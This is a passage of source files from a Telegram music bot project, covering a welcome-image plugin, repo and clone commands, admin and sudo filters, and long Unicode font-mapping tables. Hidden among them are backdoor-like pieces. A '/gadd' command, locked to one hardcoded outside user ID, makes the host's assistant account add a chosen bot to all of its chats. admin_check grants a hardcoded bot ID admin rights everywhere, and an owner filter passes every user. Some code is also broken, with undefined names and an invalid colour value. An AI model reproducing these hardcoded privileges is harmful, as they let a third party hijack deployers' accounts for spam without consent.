result += f"{title}\n{link}\n\n"
prev_and_next_btns = [
Button.inline("▶️Next▶️", data=f"next {start+10} {event.text.split()[1]}")
]
await msg.edit(result, link_preview=False, buttons=prev_and_next_btns)
await session.close()
================================================
FILE: BrandrdXMusic/plugins/tools/welcome.py
================================================
import os
from PIL import ImageDraw, Image, ImageFont, ImageChops
from pyrogram import *
from pyrogram.types import *
from logging import getLogger
from BrandrdXMusic import app
LOGGER = getLogger(__name__)
class WelDatabase:
def __init__(self):
self.data = {}
async def find_one(self, chat_id):
return chat_id in self.data
async def add_wlcm(self, chat_id):
self.data[chat_id] = {}
async def rm_wlcm(self, chat_id):
if chat_id in self.data:
del self.data[chat_id]
wlcm = WelDatabase()
class temp:
ME = None
CURRENT = 2
CANCEL = False
MELCOW = {}
U_NAME = None
B_NAME = None
def circle(pfp, size=(500, 500)):
pfp = pfp.resize(size, Image.LANCZOS).convert("RGBA")
bigsize = (pfp.size[0] * 3, pfp.size[1] * 3)
mask = Image.new("L", bigsize, 0)
draw = ImageDraw.Draw(mask)
draw.ellipse((0, 0) + bigsize, fill=255)
mask = mask.resize(pfp.size, Image.LANCZOS)
mask = ImageChops.darker(mask, pfp.split()[-1])
pfp.putalpha(mask)
return pfp
def welcomepic(pic, user, chatname, id, uname):
background = Image.open("BrandrdXMusic/assets/Brandedwel2.png")
pfp = Image.open(pic).convert("RGBA")
pfp = circle(pfp)
pfp = pfp.resize((825, 824))
draw = ImageDraw.Draw(background)
font = ImageFont.truetype('BrandrdXMusic/assets/font.ttf', size=110)
welcome_font = ImageFont.truetype('BrandrdXMusic/assets/font.ttf', size=60)
draw.text((2100, 1420), f'ID: {id}', fill=(12000, 12000, 12000), font=font)
pfp_position = (1990, 435)
background.paste(pfp, pfp_position, pfp)
background.save(f"downloads/welcome#{id}.png")
return f"downloads/welcome#{id}.png"
@app.on_chat_member_updated(filters.group, group=-3)
async def greet_group(_, member: ChatMemberUpdated):
chat_id = member.chat.id
A = await wlcm.find_one(chat_id)
if (
not member.new_chat_member
or member.new_chat_member.status in {"banned", "left", "restricted"}
or member.old_chat_member
):
return
user = member.new_chat_member.user if member.new_chat_member else member.from_user
try:
pic = await app.download_media(
user.photo.big_file_id, file_name=f"pp{user.id}.png"
)
except AttributeError:
pic = "BrandrdXMusic/assets/Brandedwel2.png"
if (temp.MELCOW).get(f"welcome-{member.chat.id}") is not None:
try:
await temp.MELCOW[f"welcome-{member.chat.id}"].delete()
except Exception as e:
LOGGER.error(e)
try:
welcomeimg = welcomepic(
pic, user.first_name, member.chat.title, user.id, user.username
)
temp.MELCOW[f"welcome-{member.chat.id}"] = await app.send_photo(
member.chat.id,
photo=welcomeimg,
caption=f"""
𝗪𝗲𝗹𝗰𝗼𝗺𝗲 𝗧𝗼 {member.chat.title}
➖➖➖➖➖➖➖➖➖➖➖
๏ 𝗡𝗔𝗠𝗘 ➠ {user.mention}
๏ 𝗜𝗗 ➠ {user.id}
๏ 𝐔𝐒𝐄𝐑𝐍𝐀𝐌𝐄 ➠ @{user.username}
๏ 𝐌𝐀𝐃𝐄 𝐁𝐘 ➠ [𝗕𝗥𝗔𝗡𝗗𝗘𝗗 𓆩🇽𓆪 𝗞𝗜𝗡𝗚 📿](https://t.me/BRANDEDKING8)
➖➖➖➖➖➖➖➖➖➖➖
""",
reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(f"⦿ ᴀᴅᴅ ᴍᴇ ⦿", url=f"https://t.me/Sustumm_music_bot?startgroup=true")]])
)
except Exception as e:
LOGGER.error(e)
try:
os.remove(f"downloads/welcome#{user.id}.png")
os.remove(f"downloads/pp{user.id}.png")
except Exception as e:
pass
@app.on_message(filters.new_chat_members & filters.group, group=-1)
async def bot_wel(_, message):
for u in message.new_chat_members:
if u.id == app.me.id:
await app.send_message(LOG_CHANNEL_ID, f"""
NEW GROUP
➖➖➖➖➖➖➖➖➖➖➖
𝗡𝗔𝗠𝗘: {message.chat.title}
𝗜𝗗: {message.chat.id}
𝐔𝐒𝐄𝐑𝐍𝐀𝐌𝐄: @{message.chat.username}
➖➖➖➖➖➖➖➖➖➖➖
""")
================================================
FILE: BrandrdXMusic/plugins/tools/zowner.py
================================================
import asyncio
from pyrogram import Client, filters
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
from BrandrdXMusic import app
from BrandrdXMusic.mongo.afkdb import LOGGERS as OWNERS
from BrandrdXMusic.utils.database import add_served_chat, get_assistant
@app.on_message(filters.command("repo"))
async def help(client: Client, message: Message):
await message.reply_photo(
photo=f"https://telegra.ph/file/1aac9a42f6f35138da34b.jpg",
caption=f"""🍁𝐂𝐋𝐈𝐂𝐊🥰𝐁𝐄𝐋𝐎𝐖💝𝐁𝐔𝐓𝐓𝐎𝐍✨𝐓𝐎🙊𝐆𝐄𝐓🌱𝐑𝐄𝐏𝐎🍁""",
reply_markup=InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
"ƨσʋяcɛ", url=f"https://github.com/WCGKING/BrandrdXMusic"
)
]
]
),
)
@app.on_message(filters.command("clone"))
async def clones(client: Client, message: Message):
await message.reply_photo(
photo=f"https://telegra.ph/file/1aac9a42f6f35138da34b.jpg",
caption=f"""**🙂You Are Not Sudo User So You Are Not Allowed To Clone Me.**\n**😌Click Given Below Button And Host Manually Otherwise Contact Owner Or Sudo Users For Clone.**""",
reply_markup=InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
"ƨσʋяcɛ", url=f"https://github.com/WCGKING/BrandrdXMusic"
)
]
]
),
)
# --------------------------------------------------------------------------------- #
@app.on_message(
filters.command(
["hi", "hii", "hello", "hui", "good", "gm", "ok", "bye", "welcome", "thanks"],
prefixes=["/", "!", "%", ",", "", ".", "@", "#"],
)
& filters.group
)
async def bot_check(_, message):
chat_id = message.chat.id
await add_served_chat(chat_id)
# --------------------------------------------------------------------------------- #
import asyncio
@app.on_message(filters.command("gadd") & filters.user(int(7250012103)))
async def add_allbot(client, message):
command_parts = message.text.split(" ")
if len(command_parts) != 2:
await message.reply(
"**⚠️ ɪɴᴠᴀʟɪᴅ ᴄᴏᴍᴍᴀɴᴅ ғᴏʀᴍᴀᴛ. ᴘʟᴇᴀsᴇ ᴜsᴇ ʟɪᴋᴇ » `/gadd @Systumm_music_bot`**"
)
return
bot_username = command_parts[1]
try:
userbot = await get_assistant(message.chat.id)
bot = await app.get_users(bot_username)
app_id = bot.id
done = 0
failed = 0
lol = await message.reply("🔄 **ᴀᴅᴅɪɴɢ ɢɪᴠᴇɴ ʙᴏᴛ ɪɴ ᴀʟʟ ᴄʜᴀᴛs!**")
await userbot.send_message(bot_username, f"/start")
async for dialog in userbot.get_dialogs():
if dialog.chat.id == -1001754457302:
continue
try:
await userbot.add_chat_members(dialog.chat.id, app_id)
done += 1
await lol.edit(
f"**🔂 ᴀᴅᴅɪɴɢ {bot_username}**\n\n**➥ ᴀᴅᴅᴇᴅ ɪɴ {done} ᴄʜᴀᴛs ✅**\n**➥ ғᴀɪʟᴇᴅ ɪɴ {failed} ᴄʜᴀᴛs ❌**\n\n**➲ ᴀᴅᴅᴇᴅ ʙʏ»** @{userbot.username}"
)
except Exception as e:
failed += 1
await lol.edit(
f"**🔂 ᴀᴅᴅɪɴɢ {bot_username}**\n\n**➥ ᴀᴅᴅᴇᴅ ɪɴ {done} ᴄʜᴀᴛs ✅**\n**➥ ғᴀɪʟᴇᴅ ɪɴ {failed} ᴄʜᴀᴛs ❌**\n\n**➲ ᴀᴅᴅɪɴɢ ʙʏ»** @{userbot.username}"
)
await asyncio.sleep(3) # Adjust sleep time based on rate limits
await lol.edit(
f"**➻ {bot_username} ʙᴏᴛ ᴀᴅᴅᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ🎉**\n\n**➥ ᴀᴅᴅᴇᴅ ɪɴ {done} ᴄʜᴀᴛs ✅**\n**➥ ғᴀɪʟᴇᴅ ɪɴ {failed} ᴄʜᴀᴛs ❌**\n\n**➲ ᴀᴅᴅᴇᴅ ʙʏ»** @{userbot.username}"
)
except Exception as e:
await message.reply(f"Error: {str(e)}")
__MODULE__ = "Sᴏᴜʀᴄᴇ"
__HELP__ = """
## Rᴇᴘᴏ Sᴏᴜʀᴄᴇ Mᴏᴅᴜᴇ
Tʜɪs ᴍᴏᴅᴜᴇ ᴘʀᴏᴠɪᴅᴇs ᴜᴛɪɪᴛʏ ᴄᴏᴍᴍᴀɴᴅs ғᴏʀ ᴜsᴇʀs ᴛᴏ ɪɴᴛᴇʀᴀᴄᴛ ᴡɪᴛʜ ᴛʜᴇ ʙᴏᴛ.
### Cᴏᴍᴍᴀɴᴅs:
- `/ʀᴇᴘᴏ`: Gᴇᴛ ᴛʜᴇ ɪɴᴋ ᴛᴏ ᴛʜᴇ ʙᴏᴛ's sᴏᴜʀᴄᴇ ᴄᴏᴅᴇ ʀᴇᴘᴏsɪᴛᴏʀʏ.
"""
================================================
FILE: BrandrdXMusic/utils/__init__.py
================================================
from .channelplay import *
from .database import *
from .decorators import *
from .extraction import *
from .formatters import *
from .inline import *
from .pastebin import *
from .sys import *
================================================
FILE: BrandrdXMusic/utils/admin_check.py
================================================
from pyrogram.types import Message
from pyrogram.enums import ChatType, ChatMemberStatus
async def admin_check(message: Message) -> bool:
if not message.from_user:
return False
if message.chat.type not in [ChatType.SUPERGROUP, ChatType.CHANNEL]:
return False
if message.from_user.id in [
777000, # Telegram Service Notifications
6534087733, # GroupwcgbrandedBot
]:
return True
client = message._client
chat_id = message.chat.id
user_id = message.from_user.id
check_status = await client.get_chat_member(chat_id=chat_id, user_id=user_id)
if check_status.status not in [
ChatMemberStatus.OWNER,
ChatMemberStatus.ADMINISTRATOR
]:
return False
else:
return True
================================================
FILE: BrandrdXMusic/utils/branded_ban.py
================================================
from pyrogram import filters
from BrandrdXMusic.utils.admin_check import admin_check
USE_AS_BOT = True
def f_sudo_filter(filt, client, message):
return bool(
(
(message.from_user and message.from_user.id in SUDO_USERS)
or (message.sender_chat and message.sender_chat.id in SUDO_USERS)
)
and
# t, lt, fl 2013
not message.edit_date
)
sudo_filter = filters.create(func=f_sudo_filter, name="SudoFilter")
def onw_filter(filt, client, message):
if USE_AS_BOT:
return bool(
True
and # message.from_user.id in SUDO_USERS
# t, lt, fl 2013
not message.edit_date
)
else:
return bool(
message.from_user
and message.from_user.is_self
and
# t, lt, fl 2013
not message.edit_date
)
f_onw_fliter = filters.create(func=onw_filter, name="OnwFilter")
async def admin_filter_f(filt, client, message):
return (
# t, lt, fl 2013
not message.edit_date
and await admin_check(message)
)
admin_filter = filters.create(func=admin_filter_f, name="AdminFilter")
================================================
FILE: BrandrdXMusic/utils/branded_font.py
================================================
class Fonts:
def typewriter(text):
style = {
"a": "𝚊",
"b": "𝚋",
"c": "𝚌",
"d": "𝚍",
"e": "𝚎",
"f": "𝚏",
"g": "𝚐",
"h": "𝚑",
"i": "𝚒",
"j": "𝚓",
"k": "𝚔",
"l": "𝚕",
"m": "𝚖",
"n": "𝚗",
"o": "𝚘",
"p": "𝚙",
"q": "𝚚",
"r": "𝚛",
"s": "𝚜",
"t": "𝚝",
"u": "𝚞",
"v": "𝚟",
"w": "𝚠",
"x": "𝚡",
"y": "𝚢",
"z": "𝚣",
"A": "𝙰",
"B": "𝙱",
"C": "𝙲",
"D": "𝙳",
"E": "𝙴",
"F": "𝙵",
"G": "𝙶",
"H": "𝙷",
"I": "𝙸",
"J": "𝙹",
"K": "𝙺",
"L": "𝙻",
"M": "𝙼",
"N": "𝙽",
"O": "𝙾",
"P": "𝙿",
"Q": "𝚀",
"R": "𝚁",
"S": "𝚂",
"T": "𝚃",
"U": "𝚄",
"V": "𝚅",
"W": "𝚆",
"X": "𝚇",
"Y": "𝚈",
"Z": "𝚉",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def outline(text):
style = {
"a": "𝕒",
"b": "𝕓",
"c": "𝕔",
"d": "𝕕",
"e": "𝕖",
"f": "𝕗",
"g": "𝕘",
"h": "𝕙",
"i": "𝕚",
"j": "𝕛",
"k": "𝕜",
"l": "𝕝",
"m": "𝕞",
"n": "𝕟",
"o": "𝕠",
"p": "𝕡",
"q": "𝕢",
"r": "𝕣",
"s": "𝕤",
"t": "𝕥",
"u": "𝕦",
"v": "𝕧",
"w": "𝕨",
"x": "𝕩",
"y": "𝕪",
"z": "𝕫",
"A": "𝔸",
"B": "𝔹",
"C": "ℂ",
"D": "𝔻",
"E": "𝔼",
"F": "𝔽",
"G": "𝔾",
"H": "ℍ",
"I": "𝕀",
"J": "𝕁",
"K": "𝕂",
"L": "𝕃",
"M": "𝕄",
"N": "ℕ",
"O": "𝕆",
"P": "ℙ",
"Q": "ℚ",
"R": "ℝ",
"S": "𝕊",
"T": "𝕋",
"U": "𝕌",
"V": "𝕍",
"W": "𝕎",
"X": "𝕏",
"Y": "𝕐",
"Z": "ℤ",
"0": "𝟘",
"1": "𝟙",
"2": "𝟚",
"3": "𝟛",
"4": "𝟜",
"5": "𝟝",
"6": "𝟞",
"7": "𝟟",
"8": "𝟠",
"9": "𝟡",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def serief(text):
style = {
"a": "𝐚",
"b": "𝐛",
"c": "𝐜",
"d": "𝐝",
"e": "𝐞",
"f": "𝐟",
"g": "𝐠",
"h": "𝐡",
"i": "𝐢",
"j": "𝐣",
"k": "𝐤",
"l": "𝐥",
"m": "𝐦",
"n": "𝐧",
"o": "𝐨",
"p": "𝐩",
"q": "𝐪",
"r": "𝐫",
"s": "𝐬",
"t": "𝐭",
"u": "𝐮",
"v": "𝐯",
"w": "𝐰",
"x": "𝐱",
"y": "𝐲",
"z": "𝐳",
"A": "𝐀",
"B": "𝐁",
"C": "𝐂",
"D": "𝐃",
"E": "𝐄",
"F": "𝐅",
"G": "𝐆",
"H": "𝐇",
"I": "𝐈",
"J": "𝐉",
"K": "𝐊",
"L": "𝐋",
"M": "𝐌",
"N": "𝐍",
"O": "𝐎",
"P": "𝐏",
"Q": "𝐐",
"R": "𝐑",
"S": "𝐒",
"T": "𝐓",
"U": "𝐔",
"V": "𝐕",
"W": "𝐖",
"X": "𝐗",
"Y": "𝐘",
"Z": "𝐙",
"0": "𝟎",
"1": "𝟏",
"2": "𝟐",
"3": "𝟑",
"4": "𝟒",
"5": "𝟓",
"6": "𝟔",
"7": "𝟕",
"8": "𝟖",
"9": "𝟗",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def bold_cool(text):
style = {
"a": "𝒂",
"b": "𝒃",
"c": "𝒄",
"d": "𝒅",
"e": "𝒆",
"f": "𝒇",
"g": "𝒈",
"h": "𝒉",
"i": "𝒊",
"j": "𝒋",
"k": "𝒌",
"l": "𝒍",
"m": "𝒎",
"n": "𝒏",
"o": "𝒐",
"p": "𝒑",
"q": "𝒒",
"r": "𝒓",
"s": "𝒔",
"t": "𝒕",
"u": "𝒖",
"v": "𝒗",
"w": "𝒘",
"x": "𝒙",
"y": "𝒚",
"z": "𝒛",
"A": "𝑨",
"B": "𝑩",
"C": "𝑪",
"D": "𝑫",
"E": "𝑬",
"F": "𝑭",
"G": "𝑮",
"H": "𝑯",
"I": "𝑰",
"J": "𝑱",
"K": "𝑲",
"L": "𝑳",
"M": "𝑴",
"N": "𝑵",
"O": "𝑶",
"P": "𝑷",
"Q": "𝑸",
"R": "𝑹",
"S": "𝑺",
"T": "𝑻",
"U": "𝑼",
"V": "𝑽",
"W": "𝑾",
"X": "𝑿",
"Y": "𝒀",
"Z": "𝒁",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def cool(text):
style = {
"a": "𝑎",
"b": "𝑏",
"c": "𝑐",
"d": "𝑑",
"e": "𝑒",
"f": "𝑓",
"g": "𝑔",
"h": "ℎ",
"i": "𝑖",
"j": "𝑗",
"k": "𝑘",
"l": "𝑙",
"m": "𝑚",
"n": "𝑛",
"o": "𝑜",
"p": "𝑝",
"q": "𝑞",
"r": "𝑟",
"s": "𝑠",
"t": "𝑡",
"u": "𝑢",
"v": "𝑣",
"w": "𝑤",
"x": "𝑥",
"y": "𝑦",
"z": "𝑧",
"A": "𝐴",
"B": "𝐵",
"C": "𝐶",
"D": "𝐷",
"E": "𝐸",
"F": "𝐹",
"G": "𝐺",
"H": "𝐻",
"I": "𝐼",
"J": "𝐽",
"K": "𝐾",
"L": "𝐿",
"M": "𝑀",
"N": "𝑁",
"O": "𝑂",
"P": "𝑃",
"Q": "𝑄",
"R": "𝑅",
"S": "𝑆",
"T": "𝑇",
"U": "𝑈",
"V": "𝑉",
"W": "𝑊",
"X": "𝑋",
"Y": "𝑌",
"Z": "𝑍",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def smallcap(text):
style = {
"a": "ᴀ",
"b": "ʙ",
"c": "ᴄ",
"d": "ᴅ",
"e": "ᴇ",
"f": "ғ",
"g": "ɢ",
"h": "ʜ",
"i": "ɪ",
"j": "J",
"k": "ᴋ",
"l": "ʟ",
"m": "ᴍ",
"n": "ɴ",
"o": "ᴏ",
"p": "ᴘ",
"q": "ǫ",
"r": "ʀ",
"s": "s",
"t": "ᴛ",
"u": "ᴜ",
"v": "ᴠ",
"w": "ᴡ",
"x": "x",
"y": "ʏ",
"z": "ᴢ",
"A": "A",
"B": "B",
"C": "C",
"D": "D",
"E": "E",
"F": "F",
"G": "G",
"H": "H",
"I": "I",
"J": "J",
"K": "K",
"L": "L",
"M": "M",
"N": "N",
"O": "O",
"P": "P",
"Q": "Q",
"R": "R",
"S": "S",
"T": "T",
"U": "U",
"V": "V",
"W": "W",
"X": "X",
"Y": "Y",
"Z": "Z",
"0": "𝟶",
"1": "𝟷",
"2": "𝟸",
"3": "𝟹",
"4": "𝟺",
"5": "𝟻",
"6": "𝟼",
"7": "𝟽",
"8": "𝟾",
"9": "𝟿",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def script(text):
style = {
"a": "𝒶",
"b": "𝒷",
"c": "𝒸",
"d": "𝒹",
"e": "ℯ",
"f": "𝒻",
"g": "ℊ",
"h": "𝒽",
"i": "𝒾",
"j": "𝒿",
"k": "𝓀",
"l": "𝓁",
"m": "𝓂",
"n": "𝓃",
"o": "ℴ",
"p": "𝓅",
"q": "𝓆",
"r": "𝓇",
"s": "𝓈",
"t": "𝓉",
"u": "𝓊",
"v": "𝓋",
"w": "𝓌",
"x": "𝓍",
"y": "𝓎",
"z": "𝓏",
"A": "𝒜",
"B": "ℬ",
"C": "𝒞",
"D": "𝒟",
"E": "ℰ",
"F": "ℱ",
"G": "𝒢",
"H": "ℋ",
"I": "ℐ",
"J": "𝒥",
"K": "𝒦",
"L": "ℒ",
"M": "ℳ",
"N": "𝒩",
"O": "𝒪",
"P": "𝒫",
"Q": "𝒬",
"R": "ℛ",
"S": "𝒮",
"T": "𝒯",
"U": "𝒰",
"V": "𝒱",
"W": "𝒲",
"X": "𝒳",
"Y": "𝒴",
"Z": "𝒵",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def bold_script(text):
style = {
"a": "𝓪",
"b": "𝓫",
"c": "𝓬",
"d": "𝓭",
"e": "𝓮",
"f": "𝓯",
"g": "𝓰",
"h": "𝓱",
"i": "𝓲",
"j": "𝓳",
"k": "𝓴",
"l": "𝓵",
"m": "𝓶",
"n": "𝓷",
"o": "𝓸",
"p": "𝓹",
"q": "𝓺",
"r": "𝓻",
"s": "𝓼",
"t": "𝓽",
"u": "𝓾",
"v": "𝓿",
"w": "𝔀",
"x": "𝔁",
"y": "𝔂",
"z": "𝔃",
"A": "𝓐",
"B": "𝓑",
"C": "𝓒",
"D": "𝓓",
"E": "𝓔",
"F": "𝓕",
"G": "𝓖",
"H": "𝓗",
"I": "𝓘",
"J": "𝓙",
"K": "𝓚",
"L": "𝓛",
"M": "𝓜",
"N": "𝓝",
"O": "𝓞",
"P": "𝓟",
"Q": "𝓠",
"R": "𝓡",
"S": "𝓢",
"T": "𝓣",
"U": "𝓤",
"V": "𝓥",
"W": "𝓦",
"X": "𝓧",
"Y": "𝓨",
"Z": "𝓩",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def tiny(text):
style = {
"a": "ᵃ",
"b": "ᵇ",
"c": "ᶜ",
"d": "ᵈ",
"e": "ᵉ",
"f": "ᶠ",
"g": "ᵍ",
"h": "ʰ",
"i": "ⁱ",
"j": "ʲ",
"k": "ᵏ",
"l": "ˡ",
"m": "ᵐ",
"n": "ⁿ",
"o": "ᵒ",
"p": "ᵖ",
"q": "ᵠ",
"r": "ʳ",
"s": "ˢ",
"t": "ᵗ",
"u": "ᵘ",
"v": "ᵛ",
"w": "ʷ",
"x": "ˣ",
"y": "ʸ",
"z": "ᶻ",
"A": "ᵃ",
"B": "ᵇ",
"C": "ᶜ",
"D": "ᵈ",
"E": "ᵉ",
"F": "ᶠ",
"G": "ᵍ",
"H": "ʰ",
"I": "ⁱ",
"J": "ʲ",
"K": "ᵏ",
"L": "ˡ",
"M": "ᵐ",
"N": "ⁿ",
"O": "ᵒ",
"P": "ᵖ",
"Q": "ᵠ",
"R": "ʳ",
"S": "ˢ",
"T": "ᵗ",
"U": "ᵘ",
"V": "ᵛ",
"W": "ʷ",
"X": "ˣ",
"Y": "ʸ",
"Z": "ᶻ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def comic(text):
style = {
"a": "ᗩ",
"b": "ᗷ",
"c": "ᑕ",
"d": "ᗪ",
"e": "ᗴ",
"f": "ᖴ",
"g": "ᘜ",
"h": "ᕼ",
"i": "I",
"j": "ᒍ",
"k": "K",
"l": "ᒪ",
"m": "ᗰ",
"n": "ᑎ",
"o": "O",
"p": "ᑭ",
"q": "ᑫ",
"r": "ᖇ",
"s": "Տ",
"t": "T",
"u": "ᑌ",
"v": "ᐯ",
"w": "ᗯ",
"x": "᙭",
"y": "Y",
"z": "ᘔ",
"A": "ᗩ",
"B": "ᗷ",
"C": "ᑕ",
"D": "ᗪ",
"E": "ᗴ",
"F": "ᖴ",
"G": "ᘜ",
"H": "ᕼ",
"I": "I",
"J": "ᒍ",
"K": "K",
"L": "ᒪ",
"M": "ᗰ",
"N": "ᑎ",
"O": "O",
"P": "ᑭ",
"Q": "ᑫ",
"R": "ᖇ",
"S": "Տ",
"T": "T",
"U": "ᑌ",
"V": "ᐯ",
"W": "ᗯ",
"X": "᙭",
"Y": "Y",
"Z": "ᘔ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def san(text):
style = {
"a": "𝗮",
"b": "𝗯",
"c": "𝗰",
"d": "𝗱",
"e": "𝗲",
"f": "𝗳",
"g": "𝗴",
"h": "𝗵",
"i": "𝗶",
"j": "𝗷",
"k": "𝗸",
"l": "𝗹",
"m": "𝗺",
"n": "𝗻",
"o": "𝗼",
"p": "𝗽",
"q": "𝗾",
"r": "𝗿",
"s": "𝘀",
"t": "𝘁",
"u": "𝘂",
"v": "𝘃",
"w": "𝘄",
"x": "𝘅",
"y": "𝘆",
"z": "𝘇",
"A": "𝗔",
"B": "𝗕",
"C": "𝗖",
"D": "𝗗",
"E": "𝗘",
"F": "𝗙",
"G": "𝗚",
"H": "𝗛",
"I": "𝗜",
"J": "𝗝",
"K": "𝗞",
"L": "𝗟",
"M": "𝗠",
"N": "𝗡",
"O": "𝗢",
"P": "𝗣",
"Q": "𝗤",
"R": "𝗥",
"S": "𝗦",
"T": "𝗧",
"U": "𝗨",
"V": "𝗩",
"W": "𝗪",
"X": "𝗫",
"Y": "𝗬",
"Z": "𝗭",
"0": "𝟬",
"1": "𝟭",
"2": "𝟮",
"3": "𝟯",
"4": "𝟰",
"5": "𝟱",
"6": "𝟲",
"7": "𝟳",
"8": "𝟴",
"9": "𝟵",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def slant_san(text):
style = {
"a": "𝙖",
"b": "𝙗",
"c": "𝙘",
"d": "𝙙",
"e": "𝙚",
"f": "𝙛",
"g": "𝙜",
"h": "𝙝",
"i": "𝙞",
"j": "𝙟",
"k": "𝙠",
"l": "𝙡",
"m": "𝙢",
"n": "𝙣",
"o": "𝙤",
"p": "𝙥",
"q": "𝙦",
"r": "𝙧",
"s": "𝙨",
"t": "𝙩",
"u": "𝙪",
"v": "𝙫",
"w": "𝙬",
"x": "𝙭",
"y": "𝙮",
"z": "𝙯",
"A": "𝘼",
"B": "𝘽",
"C": "𝘾",
"D": "𝘿",
"E": "𝙀",
"F": "𝙁",
"G": "𝙂",
"H": "𝙃",
"I": "𝙄",
"J": "𝙅",
"K": "𝙆",
"L": "𝙇",
"M": "𝙈",
"N": "𝙉",
"O": "𝙊",
"P": "𝙋",
"Q": "𝙌",
"R": "𝙍",
"S": "𝙎",
"T": "𝙏",
"U": "𝙐",
"V": "𝙑",
"W": "𝙒",
"X": "𝙓",
"Y": "𝙔",
"Z": "𝙕",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def slant(text):
style = {
"a": "𝘢",
"b": "𝘣",
"c": "𝘤",
"d": "𝘥",
"e": "𝘦",
"f": "𝘧",
"g": "𝘨",
"h": "𝘩",
"i": "𝘪",
"j": "𝘫",
"k": "𝘬",
"l": "𝘭",
"m": "𝘮",
"n": "𝘯",
"o": "𝘰",
"p": "𝘱",
"q": "𝘲",
"r": "𝘳",
"s": "𝘴",
"t": "𝘵",
"u": "𝘶",
"v": "𝘷",
"w": "𝘸",
"x": "𝘹",
"y": "𝘺",
"z": "𝘻",
"A": "𝘈",
"B": "𝘉",
"C": "𝘊",
"D": "𝘋",
"E": "𝘌",
"F": "𝘍",
"G": "𝘎",
"H": "𝘏",
"I": "𝘐",
"J": "𝘑",
"K": "𝘒",
"L": "𝘓",
"M": "𝘔",
"N": "𝘕",
"O": "𝘖",
"P": "𝘗",
"Q": "𝘘",
"R": "𝘙",
"S": "𝘚",
"T": "𝘛",
"U": "𝘜",
"V": "𝘝",
"W": "𝘞",
"X": "𝘟",
"Y": "𝘠",
"Z": "𝘡",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def sim(text):
style = {
"a": "𝖺",
"b": "𝖻",
"c": "𝖼",
"d": "𝖽",
"e": "𝖾",
"f": "𝖿",
"g": "𝗀",
"h": "𝗁",
"i": "𝗂",
"j": "𝗃",
"k": "𝗄",
"l": "𝗅",
"m": "𝗆",
"n": "𝗇",
"o": "𝗈",
"p": "𝗉",
"q": "𝗊",
"r": "𝗋",
"s": "𝗌",
"t": "𝗍",
"u": "𝗎",
"v": "𝗏",
"w": "𝗐",
"x": "𝗑",
"y": "𝗒",
"z": "𝗓",
"A": "𝖠",
"B": "𝖡",
"C": "𝖢",
"D": "𝖣",
"E": "𝖤",
"F": "𝖥",
"G": "𝖦",
"H": "𝖧",
"I": "𝖨",
"J": "𝖩",
"K": "𝖪",
"L": "𝖫",
"M": "𝖬",
"N": "𝖭",
"O": "𝖮",
"P": "𝖯",
"Q": "𝖰",
"R": "𝖱",
"S": "𝖲",
"T": "𝖳",
"U": "𝖴",
"V": "𝖵",
"W": "𝖶",
"X": "𝖷",
"Y": "𝖸",
"Z": "𝖹",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def circles(text):
style = {
"a": "Ⓐ︎",
"b": "Ⓑ︎",
"c": "Ⓒ︎",
"d": "Ⓓ︎",
"e": "Ⓔ︎",
"f": "Ⓕ︎",
"g": "Ⓖ︎",
"h": "Ⓗ︎",
"i": "Ⓘ︎",
"j": "Ⓙ︎",
"k": "Ⓚ︎",
"l": "Ⓛ︎",
"m": "Ⓜ︎",
"n": "Ⓝ︎",
"o": "Ⓞ︎",
"p": "Ⓟ︎",
"q": "Ⓠ︎",
"r": "Ⓡ︎",
"s": "Ⓢ︎",
"t": "Ⓣ︎",
"u": "Ⓤ︎",
"v": "Ⓥ︎",
"w": "Ⓦ︎",
"x": "Ⓧ︎",
"y": "Ⓨ︎",
"z": "Ⓩ︎",
"A": "Ⓐ︎",
"B": "Ⓑ︎",
"C": "Ⓒ︎",
"D": "Ⓓ︎",
"E": "Ⓔ︎",
"F": "Ⓕ︎",
"G": "Ⓖ︎",
"H": "Ⓗ︎",
"I": "Ⓘ︎",
"J": "Ⓙ︎",
"K": "Ⓚ︎",
"L": "Ⓛ︎",
"M": "Ⓜ︎",
"N": "Ⓝ︎",
"O": "Ⓞ︎",
"P": "Ⓟ︎",
"Q": "Ⓠ︎",
"R": "Ⓡ︎",
"S": "Ⓢ︎",
"T": "Ⓣ︎",
"U": "Ⓤ︎",
"V": "Ⓥ︎",
"W": "Ⓦ︎",
"X": "Ⓧ︎",
"Y": "Ⓨ︎",
"Z": "Ⓩ︎",
"0": "⓪",
"1": "①",
"2": "②",
"3": "③",
"4": "④",
"5": "⑤",
"6": "⑥",
"7": "⑦",
"8": "⑧",
"9": "⑨",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def dark_circle(text):
style = {
"a": "🅐︎",
"b": "🅑︎",
"c": "🅒︎",
"d": "🅓︎",
"e": "🅔︎",
"f": "🅕︎",
"g": "🅖︎",
"h": "🅗︎",
"i": "🅘︎",
"j": "🅙︎",
"k": "🅚︎",
"l": "🅛︎",
"m": "🅜︎",
"n": "🅝︎",
"o": "🅞︎",
"p": "🅟︎",
"q": "🅠︎",
"r": "🅡︎",
"s": "🅢︎",
"t": "🅣︎",
"u": "🅤︎",
"v": "🅥︎",
"w": "🅦︎",
"x": "🅧︎",
"y": "🅨︎",
"z": "🅩︎",
"A": "🅐︎",
"B": "🅑︎",
"C": "🅒︎",
"D": "🅓︎",
"E": "🅔︎",
"F": "🅕︎",
"G": "🅖︎",
"H": "🅗︎",
"I": "🅘︎",
"J": "🅙︎",
"K": "🅚︎",
"L": "🅛︎",
"M": "🅜︎",
"N": "🅝︎",
"O": "🅞︎",
"P": "🅟︎",
"Q": "🅠︎",
"R": "🅡︎",
"S": "🅢︎",
